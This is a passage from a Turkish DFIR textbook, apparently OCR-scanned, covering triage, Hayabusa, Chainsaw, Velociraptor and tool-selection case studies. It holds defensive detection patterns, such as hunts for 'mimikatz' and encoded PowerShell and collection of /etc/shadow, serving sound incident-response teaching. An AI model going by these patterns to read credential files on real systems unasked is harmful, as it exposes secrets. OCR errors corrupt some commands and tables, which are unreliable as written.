e Linux icin: /var/log/*, ~/.bash_history, /etc/shadow, crontab.

Kullanilan Araglar: KAPE (Kroll Artifact Parser and Extractor) veya Velociraptor. Bu
araglar, binlerce bilgisayardan ayn1 anda sadece kritik adli izleri ¢ekebilir.

Seviye Kapsam Siire Amag

LO0: Uzaktan EDR veya OSQu- . Tehdidin hangi cihazlarda ol-
Saniyeler -

Tarama ery sorgulari dugunu bulmak.

L1: Triage KAPE / Velocirap- Dakikalar Saldirinin metodolojisini

Koleksiyonu tor (Kritik izler) (Kill Chain) anlamak.

L2: Tam Ana- || Full Memory & Saat- Mahkemeye sunulacak derin-

liz Disk Image ler/Giinler lemesine kanit olusturmak.

Triage Karar Matrisi
Hangi sistemin incelenecegine karar verirken su sorular sorulur:

e Vritiklik: Bu cihaz "Domain Controller" mi1 yoksa bir stajyer bilgisayarit mi1?

e Maruziyet: Cihaz dis internete agik mi1 (DMZ)?

e Sinyal: EDR bu cihazda "Kritik" bir uyar1 (Process Injection vb.) verdi mi?

e Velociraptor gibi araglar kullanarak agdaki tiim makinelerde "stipheli bir dosya is-
mini" saniyeler i¢inde arayabilirsiniz:

e Kod snippet'i

-- Velociraptor VQL 6rnegi: Belirli bir hash'e sahip dosyayi tiim agda ara

SELECT OSPath, Size, Mtime
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FROM glob(globs="C:\\Windows\\Temp\\*.exe")
WHERE upload(file=0SPath) AND hash(path=0SPath).SHA256 == "E3BoC442..."

Anlami: Tiim agdaki Temp klasorlerini tara, belirtilen zararl hash'i bulursan dosyay1 otomatik olarak sunucuya
yiikle (collect).

Ozet: Triage'n 3 Temel Ciktisi
Basarili bir Triage siireci sonunda su sorular yanitlanmalidir:
1. Hasta Sifir (Patient Zero) kim? (Saldir1 nereden basladi?)

2. Kapsam ne? (Kag bilgisayar etkilendi?)
3. Saldirgan hala iceride mi? (Aktif C2 baglantist var m1?)

Ara¢ Matrisi Giiclendirme

‘ Arag H Amag H Girig H Cikta HKarmaslkllk” Asama |
| FTK || imaj alma |[Fiziksel disk| E01 | Disiik | Toplama |
‘ Autopsy HDisk analiziH EO01 HArtefactH Diisiik || Analiz |
‘Volatility“ RAM Hmemory.raw” Stirec H Orta || Analiz |
‘ KAPE H Triage HCanh sistemHArtefactH Diisiik || Miidahale |
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9.7 Modern DFIR Araclar1 ve Tehdit Triage

Hayabusa

Hayabusa, Windows Olay Giinliikleri (Event Logs) iizerinde yildirim hizinda analiz yapabi-
len, Rust diliyle yazilmis modern bir Tehdit Avciligi (Threat Hunting) ve Olay Miidahale
(Incident Response) aracidir. Adin1 Japonca "Gokdogan" (diinyanin en hizli kusu) kelimesin-
den alir ve gergekten de geleneksel araglarin saatler siiren taramalarini saniyeler iginde ta-
mamlayabilir.

Hayabusa'nin temel giicii, Sigma kurallarin (siber saldirilar1 tanimlayan evrensel imza for-
mat1) kullanarak milyonlarca log satir1 i¢cinde siipheli aktiviteleri aninda saptayabilmesidir.

Hayabusa Neden Bu Kadar Onemli?

Geleneksel analizde . evtx dosyalarmi tek tek Event Viewer ile agmak bir kabustur. Hayabusa
bu siireci su sekilde devrimsellestirir:

e Sigma Destegi: 3000'den fazla hazir Sigma kurali ile "RDP Brute Force", "LSASS
Dump", "Mimikatz Kullanim1" gibi saldirilar1 otomatik yakalar.

o Hiz: Rust dili sayesinde bellek verimliligi ve islem hizi muazzamdir.

o Konsolidasyon: Onlarca farkli . evtx dosyasini tek bir zaman ¢izelgesinde (Timeline)
birlestirir.

 Onceliklendirme: Bulgular1 "Kritik", "Yiiksek", "Orta" ve "Diisiik" olarak seviyelen-
dirir.

Temel Kullanim Senaryolari
# Tiim loglar1 tara ve sonuglar1 6zetle

hayabusa.exe csv-timeline -d C:\Windows\System32\winevt\Logs -0 ana-
liz _ozeti.csv

Canl1 Sistemden Veri Toplama (Triage)
# Sadece belirli bir klasordeki evtx dosyalarini Sigma kurallariyla tara

hayabusa.exe csv-timeline -d "C:\Triage\EventlLogs" --profile timesketch-
minimal -o timeline.csv
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Hayabusa Ciktisint Okumak

Hayabusa analiz bittiginde genellikle bir CSV dosyasi iiretir. Bu dosyay1 Excel veya Time-
line Explorer (Zimmerman araci) ile actiginda su siitunlara odaklanmalisin:

Timestamp: Olayin gergeklestigi an.

RuleTitle: Hangi Sigma kuralin tetiklendigi (Orn: "Possible Process Hollowing").
Level: Saldirinin ciddiyeti.

Details: Saldirganin kullandig1 komut satir1 parametreleri veya hedef kullanici adi.

AW N —

Hayabusa ile Tehdit Avciligi Stratejisi
Bir "Hayabusa Operasyonu" su adimlari izler:

e Admm 1: En giincel Sigma kurallarini (hayabusa.exe update-rules) indir.

e Adim 2: Siipheli makineden loglar1 ¢ek.

e Admm 3: Taramayi baglat ve 6zellikle "Critical" ve "High" seviyeli bulgular filtrele.

e Adim 4: Tetiklenen kuralin detayina bakarak (Orn: Event ID 4688 - Yeni siire¢ olus-
turma) saldirganin hangi dosyay1 calistirdigini gor.

Hayabusa ve KAPE Entegrasyonu

En profesyonel yaklasim, KAPE ile veriyi toplayip, KAPE'nin i¢indeki bir modiil olarak Ha-
yabusa'y1 calistirmaktir. Béylece veri toplama ve analiz tek bir komutla tamamlanir.

KAPE + Hayabusa Kombosunun Avantaji: Sadece 2 dakika icinde; hem tlim artefactlar
toplanir hem de Hayabusa tarafindan analiz edilmis hazir bir "Saldir1 Raporu" eline geger.

Tiir: Windows Event Log hizli triage
Platform: Windows
Lisans: A¢ik Kaynak

Ne Zaman Kullanilir?

e 10+ GB EVTX logu varsa
e Hizli IOC taramasi gerekiyorsa
e Sigma kurallar1 ile korelasyon yapilacaksa

Ornek Kullanim

hayabusa.exe -d C:\EVTX -0 results.csv -timeline

125




Analitik Deger:

Stipheli event’leri hizlica 6nceliklendirir.

Hayabusa, Windows Olay Giinliikleri (Event Logs) iizerinde yildirim hizinda analiz yapabi-
len, Rust diliyle yazilmis modern bir DFIR (Dijital Adli Bilisim ve Olay Miidahale) araci-
dir. Adin1 diinyadaki en hizli kuslardan biri olan "Gokdogan"dan (Peregrine Falcon) ve Japon
hizli trenlerinden alir.

Geleneksel araglar saatler siirerken, Hayabusa binlerce logu saniyeler ig¢inde tarayip tehditleri
bir zaman ¢izelgesine dizebilir.

Neden Hayabusa? (Temel Ozellikler)

e Hiz: Rust ile yazildigi i¢in bellek yonetimi miikemmeldir ve ¢ok hizhidir.

o Sigma Kurallari: Tehdit avcilig1 (Threat Hunting) i¢in diinya standardi olan Sigma
kurallarin1 kullanir. Bu sayede en giincel saldir1 tekniklerini (Pass-the-Hash, Kerbero-
asting vb.) sablonlarla tanir.

e Zaman Cizelgesi (Timeline): Loglar1 sadece listelemez; onlar yiiksek, orta ve diisiik
kritiklik seviyelerine gore bir "Saldir1 Zaman Cizelgesi" haline getirir.

e Canh ve Olii Analiz: Hem ¢alisan bir sistemdeki loglar1 hem de baska bir bilgisayar-
dan alinmis .evtx dosyalarini analiz edebilir.

Kritik Komut Ornekleri ve Anlamlari

Hayabusa genellikle komut satir1 {izerinden kullanilir. Iste en yaygin kullanim senar-
yolart:

Tiim Loglar1 Standart Kurallarla Taramak

hayabusa.exe csv-timeline -d "C:\Windows\System32\winevt\Logs" -o ra-
por.csv

Anlamu: Belirtilen klasordeki tiim .evtx dosyalarini tara, Sigma kurallariyla eslestir ve sonuglar1 rapor.csv dos-
yasina bir zaman ¢izelgesi olarak dok.

Hayabusa ve Triage Stratejisi

Hayabusa, daha 6nce konustugumuz Triage stratejisinin "Analiz" asamasinda kullanilir. Bir
sistemden KAPE veya Velociraptor ile hizlica ¢ekilen loglar, Hayabusa'ya beslenir.
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Senaryo: Bir fidye yazilim1 (Ransomware) saldirist stiphesi var. 10 GB log dosyasini manuel
incelemek imkansizdir. Hayabusa bu 10 GB"1 1-2 dakika i¢inde tarar ve size saldirganin hangi
saatte hangi kullaniciyla sisteme girdigini bir 6zet olarak sunar.

Ozellik Event Viewer Hayabusa ELK Stack
Hiz Clalk W sk I8l Hizli (Indeksleme son-
rast)

Kural Destegi Yok Sigma (Ii;l)lerce R Manuel Filtreleme
Kullanim Tekli log Tehdit Aveiligt / . .
Amaci bakma DFIR Merkezi Log Y 6netimi

Kurulum Gerek yok Wl o (e Karmasik Altyap:

table)
Chainsaw

Chainsaw, dijital adli tip ve olay miidahale (DFIR) diinyasinda Hayabusa'nin en biiyiik ra-
kibi ve tamamlayicisidir. Rust diliyle yazilmis bu arag, Windows Olay Giinliikleri (Event
Logs) ve MFT (Master File Table) kayitlari tizerinde "cerrahi" bir hizla arama yapmaniza ola-
nak tanir.

Hayabusa daha ¢ok "Sigma Kurallar1 ile otomatik analiz" odakliyken, Chainsaw hem Sigma
kurallarin1 destekler hem de devasa log dosyalar1 i¢cinde belirli anahtar kelimeleri veya regex
(diizenli ifade) kaliplarini saniyeler iginde bulma konusunda uzmanlagmistir.

Chainsaw Neden Kullanilir?

Geleneksel bir sorusturmada 10 GB'lik bir . evtx y18imiyla karsilastiginizda, aradiginiz bir IP
adresini veya kullanici adin1 bulmak saatler stirebilir. Chainsaw bu siireci su 6zelliklerle ko-
laylastirir:

e Yiiksek Performans: Rust mimarisi sayesinde loglari bellege ¢ok hizli ytikler ve pa-
ralel igleme yapar.
e Gelismis Filtreleme: Sadece "Event ID 4624" (Basarili Giris) olan ve i¢inde "Admi-
nistrator" gecen kayitlar1 getir diyebilirsiniz.
e Sigma ve Sablon Destegi: Yerlesik Sigma kurallari ile bilinen saldir1 tekniklerini
(Credential Dumping, Lateral Movement vb.) otomatik olarak isaretler.
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e MFT Analizi: Sadece loglara degil, dosya sistemi kayitlarina da (MFT) bakarak
dosya olusturma/silme hareketlerini saptar.

Tiir: Sigma tabanli event log analizi
Platform: Windows, Linux
Lisans: Acik Kaynak

Ne Zaman Kullanilir?

e TTP eslestirme
e MITRE ATT&CK haritalama
e JOC avi

chainsaw hunt C:\EVTX --rules sigma/ --mapping mappings/sigma-event-logs-
all.yml

Analitik Deger:
Davranis bazli tehdit avi saglar.

Chainsaw, Hayabusa'nin en biiyiik rakibi ve modern DFIR cephaneliginin en keskin pargala-
rindan biridir. Rust diliyle gelistirilmis, devasa boyutlardaki Windows Olay Giinliiklerini
(Event Logs) saniyeler i¢cinde tarayabilen Sigma tabanh bir analiz aracidir.

Hayabusa daha ¢ok "detayli zaman ¢izelgesi ve raporlama" odakliyken; Chainsaw, biiyiik
veri setleri iginde "y1ldirim hiziyla tehdit aveiligl" yapmak i¢in tasarlanmaistir.

Chainsaw'un Temel Yetenekleri

o Hiz: Bellek eslemeli dosya okuma (Memory-mapped 1/0) kullanarak GB'larca logu
saniyeler i¢inde isler.

o Sigma ve Sablon (Pattern) Destegi: En giincel Sigma kurallarini kullanarak karmagik
saldir1 tekniklerini tespit eder.

e Gelismis Filtreleme: Sadece belirli zaman araliklarini veya belirli Event ID'leri he-
defleyebilir.

e JSON ve CSV Ciktisi: Sonuglar1 SIEM sistemlerine veya analiz ara¢larina (Timeline
Explorer gibi) kolayca aktarabilir.

Sistemde bilinen bir saldir1 (6rnegin Mimikatz veya PowerShell somiiriisii) olup olmadigini
anlamak i¢in:

# Sigma kurallarini1 kullanarak loglari tara ve HTML raporu olustur
chainsaw.exe hunt c:\Windows\System32\winevt\Logs\ -s mappings/sigma/ -r
rules/sigma/ --mapping mappings/sigma/extensions/microsoft_event.yml --

output rapor.html

Temel Tehdit Avciligr (Sigma Kurallari ile)
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./chainsaw hunt logs/ -s sigma/ --mapping mappings/sigma-event-logs-all.yml

Anlamu: logs/ klasoriindeki tiim .evtx dosyalarini, sigma/ klasoriindeki kurallarla tarar. mapping dosyasi, Sigma
kurallarinin Windows loglartyla nasil eslesecegini araca dgretir.

Belirli Bir Zaman Araligini1 Aramak

./chainsaw hunt logs/ -s sigma/ --from "2026-03-07T00:00:00" --to "2026-
03-07T23:59:59"

Eger elinizde bir "Indicator of Compromise" (loC) varsa (érnegin saldirganin IP'si:
192.168.1.50):

# Tim loglar i¢inde bu IP adresini ara
chainsaw.exe search "192.168.1.50" c:\Windows\System32\winevt\Logs\

Anlami: Sadece belirtilen tarihteki olaylara odaklanir. Bu, olay miidahalesinde (Incident Response) saldir1 anina
odaklanmak i¢in kritiktir.

Hizli Arama (Keyword Search)
./chainsaw search "mimikatz" logs/

Anlami: Kural seti kullanmadan, tiim loglar i¢inde "mimikatz" anahtar kelimesini igeren kayitlari aninda bulur.

Ozellik Chainsaw Hayabusa
Odak Noktasi leh Tehdit Aveilig1 (Hun- ]?etayh Zaman Cizelgesi (Time-
ting) line)
Cikt1 Bicimi Genellikle Terminal ve JSON CSV ve Gelismis Ozet Tablolar
K}lllanlm Kolay- Komutlart biraz daha teknik Daha kullanict dostu parametre-
hg ler
Ham hizda bazen bir adim 6n- || Cok biiyiik veride benzer per-
Performans .
dedir formans

Analist Notu: "Mapping" Dosyasinin Onemi

Chainsaw kullanirken yapilan en biiyiik hata, yanlis veya eksik mapping (esleme) dosyasi kul-
lanmaktir. Sigma kurallar1 geneldir, ancak her Windows versiyonunda log yapilart degisebilir.
Aracin giincel mapping dosyalariyla kullanilmasi, yanlis negatif (tehdidi ka¢irma) oranini mi-
nimize eder.
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Chainsaw vs. Hayabusa: Hangisini Se¢meli?

Ozellik Chainsaw Hayabusa
Odak . . ..
Arama (Search) ve Avcilik (Hunt) Otomatik Analiz ve Timeline
Noktasi
Girdi Tiirii EVTX + MFT EVTX
S Text, JSON, HTML CSV, Timeline, Summary
Formati
Esneklik Manuel sorgularda daha gii¢lii Sigma entegrasyonunda daha hazir
Velociraptor

Velociraptor, modern dijital adli tip ve olay miidahale (DFIR) diinyasinin en gii¢lii "u¢ nokta
(endpoint) goriiniirlik" aracidir. Diger araglar genellikle tek bir bilgisayarin imajin1 alip analiz
etmeye odaklanirken, Velociraptor binlerce bilgisayardan ayn1 anda veri toplamaniza, sorgu-
lama yapmaniza ve tehdit avlamaniza (threat hunting) olanak tanir.

Onu digerlerinden ayiran en biiyiik 6zellik, kendi sorgu dili olan VQL (Velociraptor Query
Language) sayesinde son derece esnek ve hizli olmasidir.

Tiir: Endpoint DFIR ve threat hunting platformu
Platform: Windows, Linux, macOS
Lisans: A¢ik Kaynak

Ne Zaman Kullanilir?
e (Coklu endpoint inceleme
o Uzaktan artefact toplama
e Kurumsal 6lgekli DFIR
Ornek VQL:

SELECT * FROM pslist()

Analitik Deger:
Dagitik sistemlerde merkezi analiz imkani saglar.
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Velociraptor, modern djjital adli bilisim ve tehdit aveiligr (Endpoint DFIR & Threat Hun-
ting) diinyasinin "Isvicre Cakisi"dir. Ac¢ik kaynaklidir ve binlerce u¢ noktadan (endpoint) ayni
anda, gercek zamanli olarak veri toplama, sorgulama ve izleme yapabilme yetenegine sahiptir.

Geleneksel araclar veriyi toplayip analize getirmenizi beklerken, Velociraptor "analizi veri-
nin oldugu yere (u¢ noktaya) gotiiriir.

1. Velociraptor'u Ozel Kilan Nedir? (VQL Giicii)

Velociraptor'un kalbi VQL (Velociraptor Query Language) adindaki sorgu dilidir. SQL'e
benzer bir yapiyla, isletim sistemi {izerinde karmagik aramalar yapmaniza olanak tanir.

o Hiz: Ajan tabanlhidir. Bir komut gonderdiginizde binlerce makine saniyeler i¢inde ya-
nit doner.
o Esneklik: Dosya arama, kayit defteri analizi, bellek dokiimii veya ag baglantisi izleme
gibi her seyi tek bir sorguyla (Artifact) yapabilir.
e Otomasyon: Siipheli bir olay oldugunda (6rnegin belirli bir dosya olusturuldugunda)
otomatik olarak adli kopyasini alacak sekilde programlanabilir.
2. Kritik Kullanim Senaryolari
A. Hunt (Avlanma)

Tiim agda belirli bir zararli yazilim izini (IOC) aramak i¢in kullanilir.

Ornek: "Agdaki tUm bilgisayarlarda C:\Windows\Temp altinda son 1 saatte olusturulan .exe
dosyalarini bul ve bana getir."

B. Triage (Hizli Veri Toplama)

Bir makinede siipheli bir durum tespit edildiginde, tam imaj almak yerine sadece kritik adli
izleri (Event Logs, MFT, Prefetch) dakikalar i¢inde toplar.

C. Monitoring (Izleme)
Ug noktalarda gergeklesen olaylari anlik olarak izler.

e Ornek: "Yeni bir servis kuruldugunda veya kritik bir kayit defteri anahtar1 degisti-
ginde haber ver."
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3. VQL Sorgu Ornegi ve Anlami

o Bir analist olarak, siipheli bir siireci (process) ve o slirecin hangi dosyay1 agtigini bul-
mak isterseniz su VQL'i kullanabilirsiniz:

SELECT Name, Executable, CommandlLine, Parent

FROM pslist()

WHERE Name =~ "powershell.exe" AND CommandLine =~ "-enc"
Ornek bir senaryo: Sistemde malware.exe adinda bir dosya arryorsunuz.
SELECT FullPath, Size, Mtime

FROM glob(globs="C:/Users/*/Downloads/malware.exe")

Anlami: Calisan stiregleri listele (pslist), ismi "powershell.exe" olanlar1 bul ve sadece komut
satirinda sifreli kod (-enc) kullananlar1 bana goster.

Ozellik Velociraptor KAPE GRR (Google)

. . Client-Server Standalone (Ajan . .
Mimari Al %) Client-Server (Ajanl)
Sorgulama VQL (Cok Esnek) Statik Target/Module Efg;ir)l (T (i
Hiz Cok Yiiksek Oizn (Wrmanel el Diisiik/Orta

tirma)
Canl Iz- Evet Hayir Kismen
leme
DFIR Is Akisindaki Yeri

1. Tespit: SIEM bir uyar tiretir.

Triage: Velociraptor lizerinden ilgili makineye "Windows.KapeFiles.Targets" arti-

fact'i gonderilir ve 5 dakikada tiim loglar sunucuya cekilir.

Analiz: Cekilen loglar sunucu ilizerinde Hayabusa veya Chainsaw ile taranir.

4. Aksiyon: Eger tehdit gergekse, Velociraptor iizerinden makine agdan izole edilir veya
zararl siire¢ sonlandirilir.

(O8]

Analist Notu: Velociraptor'un en giiclii yani "Offline Collection" 6zelligidir. Interneti olma-
yan veya agdan izole edilmis bir bilgisayara bir USB takarak Velociraptor'u ¢alistirabilir ve
tiim veriyi bir HTML raporu olarak toplayabilirsiniz.
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Giincel Ara¢ Matrisi (Genisletilmis)

‘ Arag H Amag H Asama H Giiclii Yam ‘
‘ FTK H Imaj alma H Toplama H Glivenilir edinim ‘
‘ Autopsy H Disk analizi “ Analiz “ GUI kolaylig1 ‘
‘ Volatility H RAM analizi H Analiz H Fileless tespit ‘
‘ KAPE H Triage H Miidahale H Hiz ‘
‘ Hayabusa H Log triage H Analiz H Sigma entegrasyonu ‘
‘ Chainsaw H IOC avi H Analiz H MITRE eslesme ‘
| Velociraptor ||Kurumsal DFIR || Miidahale/Analiz]|  Olgeklenebilirlik |

Modern DFIR araglari, otomatik korelasyon ve tehdit eslestirme kabiliyeti sunar; ancak sonuglar analistin meto-
dolojik dogrulamasina tabidir.

9.9 Arac¢ Secim Stratejisi ve Analitik Yaklasim

Giris

Dijital adli bilisimde ara¢ se¢imi, teknik tercih degil stratejik karardir. Yanlis ara¢ se¢imi za-
man kaybina; dogru ara¢ se¢imi ise delilin hizla korele edilmesine imkan tanir.

Sorusturma Asamasina Gore Ara¢ Se¢imi
Dijital adli bilisim siireci bir maratondur ve her kilometrede farkli bir ayakkabiya (araca) ihti-
yag duyarsiiz. Yanlis asamada yanlis arac1 kullanmak, ya veriyi bozar ya da devasa veri y1-

ginlar1 arasinda bogulmaniza neden olur.

Iste bir sorusturmanin yasam dongiisiine gore stratejik arag se¢im rehberi:

Neden Se- . "
Arag cilir? Stratejik Rolii
. Hiz ve Ol- Binlerce makinede ayni anda "Indicator of Comp-
Velociraptor e
cek. romise" (IoC) taramasi yapar.
KAPE Veri Top- Kritik Windows izlerini (Registry, LNK, Prefetch)
lama. 2 dakikada paketler.
Dumplt/ FTK RAM'in o anki fotografin1 ¢eker; sifreler ve aktif
Ucuculuk. -
Imager baglantilar buradadir.
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Arag Ned.e.n Se- Stratejik Rolii
¢ilir?
Hayabusa Log éna- Sigma kurallarlylg Krltlk saldir1 izlerini saniyeler
lizi. icinde raporlar.

Kanit Edinme ve imaj Alma (Muhafaza Asamasi)
Hedef: Veriyi miihiirle, hash degerini al ve orijinal diski adli kopyaya (image) dontistiir.

e Donanimsal Yazma Koruyucu (Tableau): Diski fiziksel olarak "sadece okunur" mo-
duna alir.

o FTK Imager: Diski .£01 formatinda kopyalar ve biitiinliigiini SMD5/SHA1S ile tes-
ciller.

e Guymager (Linux): A¢ik kaynakli, hizli ve glivenilir bir imaj alma alternatifidir.

Derinlemesine Analiz (Mutfak Asamast)

Hedef: Silinen dosyalar1 bul, zaman ¢izelgesi (Timeline) olustur, saldirganin yanal hareketle-
rini (Lateral Movement) saptama.

e Autopsy: Biiylik resme bakmak i¢in kullanilir; web gecmisi, EXIF verileri ve silinen
dosyalar i¢in idealdir.

e Eric Zimmerman Tools (EZ Tools): Windows'un i¢ mekanizmalarin1 (MFT, Re-
gistry, JumpLists) cerrahi hassasiyetle pargalarina ayirir.

e Volatility: Bellek (RAM) dokiimii icindeki gizli siiregleri ve enjekte edilmis kodlart
(Process Injection) yakalar.

e Chainsaw: Milyonlarca log satir1 icinde belirli bir IP veya kullanici adin1 "regex" ile
bulmak i¢in kullanilir.

Gorsellestirme ve Raporlama (Final Asamasi)

Hedef: Teknik bulgular1 savciya, hakime veya yonetime "anlatilabilir" bir hikayeye dontistiir-
mek.

o Timeline Explorer: Milyonlarca satirlik CSV verisini Excel'den 100 kat daha hizli
filtreleyip gorsellestirir.

e Timesketch: Karmasik olaylari igbirlik¢i bir zaman ¢izelgesi lizerinde analiz etmeyi
saglar.

e Cyber Triage: Bulgulari skorlayarak "Sug¢lu/Temiz" raporu olusturmaya yardimci
olur.
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Uzman Stratejisi: "Hangi Araci Ne Zaman Birakmali?"

e Eger bir Ransomware (Fidye Yazilimi) vakasindaysaniz; Autopsy ile disk taramasi
yaparak vakit kaybetmeyin. Once Velociraptor ile agdaki yayilimi durdurun, ardindan
Hayabusa ile hangi hesabin kompromize oldugunu bulun ve Volatility ile sifreleme
anahtarint RAM'den ¢ekmeye ¢alisin.

B) Sistem Canli ve Agda Siipheli Trafik Varsa
Amagc: Aktif tehdit var m1?
Kullan:
e  Wireshark
o Hayabusa
e Chainsaw
Arananlar:
e DNS beacon

e Olagandis1 parent-child process
e Logon anomaly

C) Olay Ge¢miste Gergeklesmisse

Amag: Rekonstriiksiyon

Kullan:
e Autopsy
e TSK
e Plaso
e Timeline korelasyonu

Delil Turiine Gore Ara¢ Secimi

| Delil Tiirii I Onerilen Arag |
| Disk Imajt [ Autopsy, TSK |
| RAM [ Volatility |
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| Delil Tiirii [ Onerilen Arag |
‘ EVTX H Hayabusa, Chainsaw ‘
‘ Ag Trafigi H Wireshark ‘
‘ Canl1 Endpoint H Velociraptor ‘
| Hizli Triage H KAPE ‘

Dijital adli bilisimde (DFIR) yanlis arag se¢imi, sadece zaman kaybi degil, ayn1 zamanda da-
vanin diismesine veya gercek suclunun tespit edilememesine yol agan kritik bir hatadir. Bir
uzman olarak, yanlis aletle yanlis yere miidahale etmenin dogurabilecegi domino etkilerini
1yi analiz etmelisin.

Iste yanlis ara¢ se¢iminin en yikici 4 sonucu:

Delil Biitiinliigiiniin Bozulmasi (Evidence Contamination)

Adli bilisimin altin kurali, orijinal veriyi asla degistirmemektir.

Hata: Yazma korumali (Write-blocker) bir donanim veya yazilim kullanmadan diski
dogrudan Windows bir makineye baglamak.

Sonu¢: Windows, diski tanir tanimaz igine gizli dosyalar (System Volume Informa-
tion) yazar, Access Time (erisim zamani) damgalarini giinceller.

Hukuki Yikim: Savunma avukati, "Uzman diske miidahale etmistir, hash degerleri
degismistir, bu delil gecersizdir" diyerek davanin diismesini saglayabilir.

Ucgucu Verinin Kaybi (Loss of Volatile Data)

Sistemin "canl1" oldugu anlarda yapilan hatalar geri dondiiriilemez.

Hata: RAM dokiimii (Memory Dump) almadan 6nce sistemi kapatmak veya agir bir
analiz yazilimimi (Orn: Tam kapsaml1 bir Antiviriis taramasi) siipheli makinede ¢alis-
tirmak.

Sonug: Saldirganin kullandigi sifreleme anahtarlari, enjekte edilen kodlar ve aktif ag
baglantilar1 RAM'den silinir. Agir yazilimlar ¢alistirmak, RAM'deki orijinal izlerin
lizerine yeni veriler yazar (Overwrite).

Teknik Yikim: Dosyasiz (Fileless) bir saldirida, diskte higbir iz bulamazsiniz; tek
sansiniz olan RAM verisi ise artik yoktur.

Yanlis Yorumlama (Misinterpretation of Artifacts)

Her arag, veriyi kendi mantigina gore "parse" eder (anlamlandirir).
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Hata: Giincel olmayan bir aracla (Orn: Windows 11 loglarin1 Windows 7 dénemi bir
aracla agmak) analiz yapmak.

Sonug: Arag, yeni nesil zaman damgalarini (Timestamp) veya dosya yapilarini taniya-
maz. Ornegin, UTC zaman dilimini yerel saat sanabilir veya silinmis bir dosyay1 "bo-
zuk" olarak isaretleyip gormezden gelebilir.

Analitik Yikim: "Saldirgan 03:00'te girdi" dersiniz ama gercek saat 06:00'dir. Tiim
olay rekonstriiksiyonu ¢oker.

"Samanlikta Igne" Sendromu (Inefficiency)

Zamanin en biiyiik diisman oldugu Olay Miidahalesi (IR) sirasinda yanlis 6l¢ekte ara¢ segmek
felakettir.

Hata: 500 bilgisayarlik bir agda saldir1 varken, tek tek disk imaj1 alip Autopsy ile in-
celemeye caligmak.

Sonug: Ik bilgisayar1 incelemeyi bitirdiginizde, saldirgan ¢oktan tiim ag sifrelemis
(Ransomware) ve verileri sizdirmis olur.

Stratejik Yikim: Triage araclari (KAPE, Velociraptor) yerine derinlemesine analiz
araclarini erken sathada kullanmak, operasyonel korliige neden olur.

Uzman Tavsiyesi: Ara¢ Caprazlamasi (Cross-Validation)

Yanlig ara¢ se¢ciminden korunmanin tek yolu **"Capraz Dogrulama"**dir. Eger Vola-
tility size siipheli bir siire¢ gosteriyorsa, bunu Hayabusa veya Chainsaw ile loglardan
teyit etmelisiniz. Bir aracin "yok" dedigine, her zaman "yok" demeyin; ikinci bir géz
(arag) ile kontrol edin.

Arag Sec¢im Karar Agaci
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| RAMAI ‘
Olay :
TorG2 'Ccnh&s’rem‘ ] KAPE ‘
| Agize ‘
} Disk Analizi ‘
O-fﬂin.e ' Timeline ‘
lagle]

) Log ‘
Korelasyonu

9.10 Gercek Vaka — Ara¢ Secim Hatasi (Bellek Analizi Atlandi)

Senaryo

Bir finans kurumunda siipheli veri sizintis1 ihbari lizerine yalnizca disk imaj1 alinarak ince-
leme baglatildi. Sistem kapatildiktan sonra FTK Imager ile EO1 imaj iiretildi ve Autopsy lize-
rinden dosya sistemi analizi yapildi. Incelemede belirgin bir zararli dosya veya siipheli yiirii-
tiillebilir tespit edilemedi.

Hata

Olay aninda bellek edinimi yapilmamaisti. Sistem kapatildigi i¢in RAM igindeki ugucu veriler
kalic1 olarak kayboldu.

Sonradan Ortaya Cikan Bulgular

Ayn1 ag segmentinde baska bir makinede yapilan bellek analizi, saldirganin fileless teknik
kullandigin1 gosterdi:

e PowerShell {izerinden ¢alisan zararli kod
e Diskte dosya birakmayan payload

e LSASS bellek erisimi

e Gegici ag baglantilar

Cikarilan Ders

138




Disk analizi tek bagina yeterli degildir. Ozellikle modern saldirilarda bellek analizi kritik kanit
saglar.

Onerilen Siirec

1. RAM capture

2. Disk image acquisition
3. Volatility analysis

4. Timeline correlation

9.11 Gercek Vaka — Arac¢ Secim Hatasi (Log Korelasyonu Yapilmadi)

Senaryo

Bir iiretim sirketinde gece saatlerinde basarisiz oturum agma denemeleri tespit edildi. Sistem
yoneticileri Windows Event Viewer iizerinden tek tek log incelemesi yapti ve olaymn énemini
diisiik seviyede degerlendirdi.

Hata

Loglar tekil olarak incelendi, ancak korelasyon yapilmadi.

Daha Sonra Yapilan Analiz

Hayabusa ve Chainsaw kullanilarak EVTX loglari toplu analiz edildi:

hayabusa.exe -d C:\EVTX --timeline

chainsaw hunt C:\EVTX --rules sigma

Bulgular

4625 — basarisiz logon denemeleri
4624 — basaril1 oturum

4672 — ayricalikli hesap kullanimi
4688 — siipheli PowerShell ¢alistirma

Bu event zinciri bir brute force sonrasi yetki yiikseltme saldirisini ortaya ¢ikardi.

Cikarilan Ders Log incelemesi tek tek yapilmaz; korelasyon ile yapilir.
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Onerilen Yaklasim

Log collection

!

Sigma rule matching

l

Event correlation

l

Timeline reconstruction

Dijital adli bilisimde hatalar ¢ogu zaman arag eksikliginden degil, araglarin yanlis sirada veya yanlig baglamda
kullanilmasmdan kaynaklanir.
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Boliim 10 — Dijital Adli Analistin Diisinme Modeli

10.1 Neden “Diisiinme Modeli”?

Dijital adli analiz (DFIR), sadece araglar1 kullanma becerisi degil, bir zihin yapis1 (mindset)
meselesidir. Bir analist, modern bir dedektif gibi caligir; elindeki kirintilardan (artefact) saldir-
ganin niyetini, yontemini ve yol actig1 hasar1 kurgular.

Iyi bir analistin diisiinme modelini olusturan 4 ana siitun sunlardir:

Dijital adli bilisim, komut ¢alistirma veya arag¢ kullanma isi degildir.
Bu disiplin, hipotez kurma, test etme ve ciiriitme iizerine kuruludur.

Ayni veriye bakan iki analist, farkli sonuglara ulagabilir.
Farki yaratan sey diisiinme bi¢imidir.

Araglar veriyi gosterir.
Anlami analist Uiretir.

10.2 Analistin Zihinsel Akis1

Kuskuculuk ve Dogrulama (Trust but Verify)
Dijital diinyada higbir veri "ilk bakista goriindiigii gibi" olmayabilir.

e Model: Bir ara¢ size "Bu dosya 2020'de olusturuldu" diyorsa, analist su soruyu sorar:
"Saldirgan zaman damgalarini (Timestomping) degistirmis olabilir mi?"

o Uygulama: MFT kayitlarindaki zaman damgasini, log dosyalarindaki veya Prefetch
icindeki zaman damgalariyla karsilastirir. Eger celiski varsa, ortada bir manipiilasyon
vardir.

Ucuculuk Siralamasi (Order of Volatility)

Analistin zihninde her zaman bir "geri sayim" vardir. Verinin ne kadar hizli yok olacagini bi-
lerek hareket eder.

e Model: "Once en gabuk kaybolan1 kurtar."

